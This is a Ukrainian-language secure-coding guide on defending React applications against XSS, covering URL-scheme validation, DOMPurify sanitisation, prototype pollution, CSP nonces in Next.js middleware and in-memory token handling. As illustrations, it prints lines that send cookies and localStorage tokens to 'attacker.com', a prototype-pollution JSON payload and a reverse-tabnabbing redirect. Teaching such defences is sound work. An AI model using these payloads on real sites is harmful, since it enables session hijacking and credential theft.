Серед фронтенд-інженерів широко поширена небезпечна омана: вважається, що використання React саме по собі повністю захищає веб-застосунок від уразливостей класу XSS (Cross-Site Scripting).
JSX-компілятор дійсно за замовчуванням екранує текстові значення, що передаються між відкриваючим та закриваючим тегами:
const untrustedInput = '<script>alert("hacked")</script>';
// React відрендерить безпечний текстовий вузол:
// <script>alert("hacked")</script>
<div>{untrustedInput}</div>Проте цей базовий захист безсилий перед широким спектром реальних векторів атак в ентерпрайз-застосунках:
href, src, formAction та action інтерпретують псевдопротоколи javascript: та vbscript: напряму. Екранування символів не запобігає запуску коду браузерним рушієм при кліку чи відправці форми.dangerouslySetInnerHTML.localStorage або sessionStorage перетворює будь-яку вразливість у будь-якій зі сторонніх npm-залежностей на миттєве перехоплення сесії користувача (Session Hijacking).iframe на шкідливому ресурсі за відсутності суворої директиви frame-ancestors.React захищає лише текстовий вміст JSX-вузлів від примітивної вставки тегів <script>. Він не валідує протоколи посилань, не фільтрує злиття об'єктів при десеріалізації, не контролює мутації DOM та не ізолює токени від викрадення через window та document.cookie. Архітектура enterprise-застосунку вимагає ешелонованої оборони (Defense in Depth) на всіх рівнях: від HTTP-заголовків до оперативної пам'яті процесу.
Оборона React-застосунку будується за принципом ешелонованого захисту (Defense in Depth): компрометація одного рубежу не повинна призводити до падіння всієї системи безпеки.
┌────────────────────────────────────────────────────────────────────────┐
│ РІВЕНЬ 1: МЕРЕЖА ТА ЗАГОЛОВКИ БЕЗПЕКИ │
│ Content-Security-Policy (CSP) зі суворим криптографічним Nonce │
│ script-src 'self' 'nonce-{RANDOM}' 'strict-dynamic'; │
│ frame-ancestors 'none'; base-uri 'self'; object-src 'none'; │
└───────────────────────────────────┬────────────────────────────────────┘
│ Блокує виконання неавторизованого JS
▼
┌────────────────────────────────────────────────────────────────────────┐
│ РІВЕНЬ 2: ВАЛІДАЦІЯ ТА САНІТИЗАЦІЯ ВВЕДЕННЯ │
│ - DOMPurify: суворий whitelist дозволених тегів та атрибутів │
│ - Валідація протоколів URL (лише https: та http:) │
│ - Захист від Prototype Pollution: Object.freeze / Object.create(null) │
└───────────────────────────────────┬────────────────────────────────────┘
│ Нейтралізує ін'єкції в атрибути та mXSS
▼
┌────────────────────────────────────────────────────────────────────────┐
│ РІВЕНЬ 3: АРХІТЕКТУРА СЕСІЙ ТА ТОКЕНІВ │
│ - Refresh Token: куки HttpOnly; Secure; SameSite=Strict │
│ - Access Token: строго в оперативній пам'яті (In-Memory Heap) │
│ - Механізм Silent Refresh при 401 Unauthorized з чергою запитів │
└───────────────────────────────────┬────────────────────────────────────┘
│ Ізолює секрети від читання скриптами
▼
┌────────────────────────────────────────────────────────────────────────┐
│ РІВЕНЬ 4: БЕЗПЕЧНИЙ РЕНДЕРИНГ КОМПОНЕНТІВ │
│ - Явний whitelist пропсів замість сліпого спреду <Comp {...payload} />│
│ - Безпечні обгортки <SafeLink> та <SafeHtmlRenderer> │
│ - Атрибути rel="noopener noreferrer nofollow" для зовнішніх посилань │
└────────────────────────────────────────────────────────────────────────┘Фільтрація схем javascript:, vbscript:, data: у всіх інтерактивних елементах (<a>, <form>, <iframe>, window.open).
Підключення DOMPurify з жорстким білим списком дозволених тегів та блокуванням Mutation XSS для dangerouslySetInnerHTML.
Заборона сліпого спреду пропсів <Comp {...data} /> та санітизація вхідних JSON-пейлоадів від ключів __proto__ та constructor.
Створення унікального криптографічного хешу на кожен запит і заборона директив unsafe-inline та unsafe-eval у CSP-заголовках.
Повна відмова від localStorage для токенів. Перенесення Refresh Token у HttpOnly-куку, а Access Token — в локальну пам'ять процесу.
Чому рендеринг посилання вигляду <a href={userProvidedUrl}>Профіль</a> є критичною XSS-вразливістю, незважаючи на вбудоване екранування JSX?
Вставка URL з недовіреного джерела безпосередньо в атрибути href, src, formAction або action дозволяє зловмиснику виконати довільний скрипт без додавання тегу <script>:
// ❌ Вразливий компонент: клік призведе до виконання скрипта в контексті жертви
export function UserProfileLink({ websiteUrl }: { websiteUrl: string }) {
// Якщо websiteUrl = "javascript:fetch('https://attacker.com/steal?c='+document.cookie)"
return <a href={websiteUrl}>Веб-сайт користувача</a>;
}Для повної нейтралізації цього вектора створюється захищений компонент із валідацією схеми протоколу через конструктор URL:
import React from 'react';
interface SafeLinkProps extends React.AnchorHTMLAttributes<HTMLAnchorElement> {
href: string;
fallbackText?: string;
}
const ALLOWED_PROTOCOLS = new Set(['https:', 'http:', 'mailto:', 'tel:']);
export function SafeLink({
href,
fallbackText,
children,
...restProps
}: SafeLinkProps) {
const isSafe = React.useMemo(() => {
try {
// Парсимо відносно безпечного базового URL для відсіювання невалідних рядків
const parsed = new URL(href, window.location.origin);
return ALLOWED_PROTOCOLS.has(parsed.protocol);
} catch {
return false;
}
}, [href]);
if (!isSafe) {
return (
<span className="text-text-muted cursor-not-allowed">
{fallbackText ?? children}
</span>
);
}
// Явно захищаємо від Reverse Tabnabbing та витоку Referer
return (
<a
href={href}
target="_blank"
rel="noopener noreferrer nofollow"
{...restProps}
>
{children}
</a>
);
}Браузерні HTML-парсери виконують нормалізацію розмітки при вставці рядка в innerHTML (закривають незакриті теги, виправляють вкладеність). Зловмисники використовують цю поведінку для створення пейлоадів Mutation XSS: код, що виглядає абсолютно нешкідливим для примітивного регулярного виразу, після виправлення браузером перетворюється на активний <script> або тег із подією onerror.
Для безпечного рендерингу HTML обов'язковий DOMPurify з жорстко зафіксованим білим списком:
import React from 'react';
import DOMPurify from 'dompurify';
interface SafeHtmlRendererProps {
dirtyHtml: string;
className?: string;
}
export const SafeHtmlRenderer: React.FC<SafeHtmlRendererProps> = ({
dirtyHtml,
className,
}) => {
const cleanHtml = React.useMemo(() => {
return DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: [
'b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li', 'code', 'pre', 'blockquote'
],
ALLOWED_ATTR: ['href', 'target', 'rel', 'class'],
ALLOW_DATA_ATTR: false,
ADD_ATTR: ['target', 'rel'],
FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed', 'form'],
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover', 'style'],
});
}, [dirtyHtml]);
return (
<div
className={className}
dangerouslySetInnerHTML={{ __html: cleanHtml }}
/>
);
};Атака Prototype Pollution відбувається, коли зовнішні невалідовані JSON-дані рекурсивно зливаються з внутрішніми об'єктами застосунку:
// ❌ Вразлива функція глибокого злиття об'єктів
function naiveDeepMerge(target: any, source: any) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
naiveDeepMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Якщо source = JSON.parse('{"__proto__": {"dangerouslySetInnerHTML": {"__html": "<img src=x onerror=alert(1)>"}}}')
// У результаті Object.prototype.dangerouslySetInnerHTML стає активним для ВСІХ компонентів!У поєднанні зі «сліпим» спредом пропсів (<Component {...untrustedUserInput} />) це призводить до фатальних наслідків:
// ❌ Сліпий спред пропсів: атакуючий може прокинути службові атрибути
export function UserProfileCard({ rawData }: { rawData: Record<string, unknown> }) {
return <div {...rawData} className="user-profile" />;
}
// ✅ Безпечний підхід: сувора деструктуризація та білий список пропсів
interface SafeUserData {
id: string;
displayName: string;
avatarUrl?: string;
}
export function SafeUserProfileCard({ id, displayName, avatarUrl }: SafeUserData) {
return (
<div data-user-id={id} className="user-profile">
<span>{displayName}</span>
{avatarUrl && <img src={avatarUrl} alt={displayName} loading="lazy" />}
</div>
);
}Політика Content Security Policy (CSP) блокує запуск будь-яких сторонніх скриптів, розширень та ін'єкцій. Проте сучасним React-застосункам потрібно виконувати скрипти гідратації та завантажувати чанки. Рішення — CSP Nonce: сервер генерує одноразовий криптографічний ключ на кожен запит і вставляє його в заголовок відповіді та теги <script>.
import { NextResponse, type NextRequest } from 'next/server';
export function middleware(request: NextRequest) {
// 1. Генерація криптографічно стійкого випадкового токена Nonce
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
// 2. Формування суворої політики CSP
// 'strict-dynamic' передає довіру від довіреного скрипта його дочірнім чанкам
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
style-src 'self' 'nonce-${nonce}';
img-src 'self' blob: data: https:;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`.replace(/\s{2,}/g, ' ').trim();
// 3. Ін'єкція nonce у заголовки запиту (для Server Components) та відповіді (для клієнта)
const requestHeaders = new Headers(request.headers);
requestHeaders.set('x-nonce', nonce);
requestHeaders.set('Content-Security-Policy', cspHeader);
const response = NextResponse.next({
request: {
headers: requestHeaders,
},
});
response.headers.set('Content-Security-Policy', cspHeader);
return response;
}Зберігання JWT Access Token у localStorage категорично заборонено в корпоративних стандартах: будь-який синхронний скрипт на сторінці має доступ до сховища через window.localStorage.
Зріла архітектура розділяє сесію на дві сутності:
HttpOnly; Secure; SameSite=Strict. Недоступний для JavaScript./api/auth/refresh.Користувач відправляє облікові дані. Сервер повертає Access Token у тілі JSON і виставляє HttpOnly Refresh Cookie.
Access Token зберігається в приватній змінній замикання менеджера авторизації. Жодних слідів у localStorage/sessionStorage.
API повертає статус 401 Unauthorized. Інтерцептор перехоплює помилку, блокує відправку паралельних запитів і ставить їх у чергу.
Браузер автоматично додає HttpOnly-куку. Сервер валідує її та повертає свіжий Access Token.
Усі відкладені запити з черги автоматично повторюються з новим Access Token і повертають дані в UI.
Чому директива 'strict-dynamic' у заголовку CSP script-src є ключовою для сучасних модульних React-застосунків?
Нижче наведено production-артефакт для управління Access Token в оперативній пам'яті з автоматичним м'ютексом рефрешу, запобіганням ефекту Thundering Herd при паралельних запитах та типобезпечним клієнтом authenticatedFetch:
/**
* Результат успішного оновлення сесії
*/
interface TokenResponse {
accessToken: string;
expiresInSeconds: number;
}
type RefreshSubscriber = (token: string | null) => void;
/**
* Singleton-менеджер сесійних токенів в оперативній пам'яті.
* Повністю ізольований від window.localStorage та sessionStorage.
*/
export class InMemoryAuthManager {
private static instance: InMemoryAuthManager | null = null;
private accessToken: string | null = null;
private expiresAt: number = 0;
private isRefreshing: boolean = false;
private refreshSubscribers: RefreshSubscriber[] = [];
private constructor() {}
public static getInstance(): InMemoryAuthManager {
if (!InMemoryAuthManager.instance) {
InMemoryAuthManager.instance = new InMemoryAuthManager();
}
return InMemoryAuthManager.instance;
}
/**
* Збереження токена в оперативній пам'яті процесу з часовим буфером безпеки.
* Буфер у 30 секунд гарантує, що токен не протухне безпосередньо під час польоту запиту.
*/
public setToken(token: string, expiresInSeconds: number): void {
this.accessToken = token;
const safetyBufferMs = 30 * 1000;
this.expiresAt = Date.now() + Math.max(0, expiresInSeconds * 1000 - safetyBufferMs);
}
/**
* Повне скидання токена (наприклад, при логауті або фатальній помилці авторизації)
*/
public clearToken(): void {
this.accessToken = null;
this.expiresAt = 0;
}
/**
* Перевірка закінчення терміну дії токена
*/
public isTokenExpired(): boolean {
if (!this.accessToken) return true;
return Date.now() >= this.expiresAt;
}
/**
* Отримання діючого Access Token з автоматичним безшумним рефрешем
*/
public async getValidToken(): Promise<string | null> {
if (this.accessToken && !this.isTokenExpired()) {
return this.accessToken;
}
// Якщо рефреш вже виконується паралельним запитом, стаємо в чергу очікування
if (this.isRefreshing) {
return new Promise<string | null>((resolve) => {
this.refreshSubscribers.push((freshToken) => {
resolve(freshToken);
});
});
}
return this.refreshAccessToken();
}
/**
* Виконання запиту на ротацію токена.
* Браузер автоматично додає HttpOnly-куку refreshToken до запиту.
*/
private async refreshAccessToken(): Promise<string | null> {
this.isRefreshing = true;
try {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
});
if (!response.ok) {
this.clearToken();
this.notifySubscribers(null);
return null;
}
const data = (await response.json()) as TokenResponse;
this.setToken(data.accessToken, data.expiresInSeconds);
this.notifySubscribers(data.accessToken);
return data.accessToken;
} catch (error: unknown) {
this.clearToken();
this.notifySubscribers(null);
const errorMessage = error instanceof Error ? error.message : 'Unknown auth error';
console.error('[AuthSecurity] Silent refresh error:', errorMessage);
return null;
} finally {
this.isRefreshing = false;
}
}
private notifySubscribers(token: string | null): void {
this.refreshSubscribers.forEach((callback) => callback(token));
this.refreshSubscribers = [];
}
}
export const authManager = InMemoryAuthManager.getInstance();
/**
* Типобезпечна обгортка над native fetch з автоматичною ін'єкцією Bearer-токена
* та обробкою 401 Unauthorized з повтором вихідного запиту.
*/
export async function authenticatedFetch(
input: RequestInfo | URL,
init?: RequestInit
): Promise<Response> {
let token = await authManager.getValidToken();
const headers = new Headers(init?.headers);
if (token) {
headers.set('Authorization', `Bearer ${token}`);
}
let response = await fetch(input, { ...init, headers });
// Якщо сервер повернув 401, пробуємо примусово оновити токен один раз
if (response.status === 401) {
authManager.clearToken();
token = await authManager.getValidToken();
if (token) {
headers.set('Authorization', `Bearer ${token}`);
response = await fetch(input, { ...init, headers });
}
}
return response;
}Розробники нерідко обирають localStorage через простоту збереження стану між перезавантаженнями вкладок. Проте будь-яка XSS-вразливість (включаючи бекдор у транзитивній npm-залежності) дозволяє зловмиснику вкрасти токен в один рядок: new Image().src = 'https://attacker.com/steal?t=' + localStorage.getItem('token').
// ❌ Фатальна вразливість: токен повністю відкритий для читання будь-яким скриптом
localStorage.setItem('access_token', token);
// ✅ Enterprise-стандарт: Refresh Token у HttpOnly-куці + Access Token у пам'яті
// document.cookie не має доступу до HttpOnly кук!
authManager.setToken(token, expiresIn);Передача невідомого зовнішнього об'єкта <Component {...untrustedUserInput} /> дозволяє зловмиснику впровадити службові пропси dangerouslySetInnerHTML, onLoad або перевизначити властивості віртуального дерева через забруднення прототипу (__proto__).
// ❌ Антипатерн: зловмисник прокидає dangerouslySetInnerHTML через JSON
export function UserBadge({ profile }: { profile: Record<string, unknown> }) {
return <div {...profile} className="badge" />;
}
// ✅ Правильне рішення: явний білий список допустимих пропсів
export function SafeUserBadge({ name, role }: { name: string; role: string }) {
return (
<div className="badge">
<span>{name}</span>
<small>{role}</small>
</div>
);
}Спроба «швидко вирішити» проблему непрацюючих стилів або скриптів додаванням директиви 'unsafe-inline' повністю анулює захист Content Security Policy від XSS-ін'єкцій. Браузер починає безперешкодно виконувати будь-які впроваджені теги <script> та події onload/onerror. Для скриптів гідратації використовуйте строго криптографічний nonce або SHA-256 хеші.
Відкриття неперевірених зовнішніх посилань у новій вкладці без прапорця noopener дозволяє відкритій сторінці отримати доступ до об'єкта window.opener та виконати атаку Reverse Tabnabbing (підміну адреси вихідної вкладки на фішинговий сайт window.opener.location = 'https://fake-login.com').
href, src та formAction вимагають обов'язкової перевірки схеми URL через клас URL.dangerouslySetInnerHTML допустиме виключно у зв'язці з DOMPurify та жорстко зафіксованим білим списком дозволених тегів та атрибутів для запобігання Mutation XSS (mXSS).{...untrustedData}) створює вразливість до атак Prototype Pollution: використовуйте сувору деструктуризацію та типізовані контракти.'strict-dynamic' захищає застосунок від виконання неавторизованих скриптів.localStorage неприпустиме в enterprise-системах: золотий стандарт — In-Memory Access Token + HttpOnly Refresh Cookie з механізмом Silent Refresh та чергою відкладених запитів.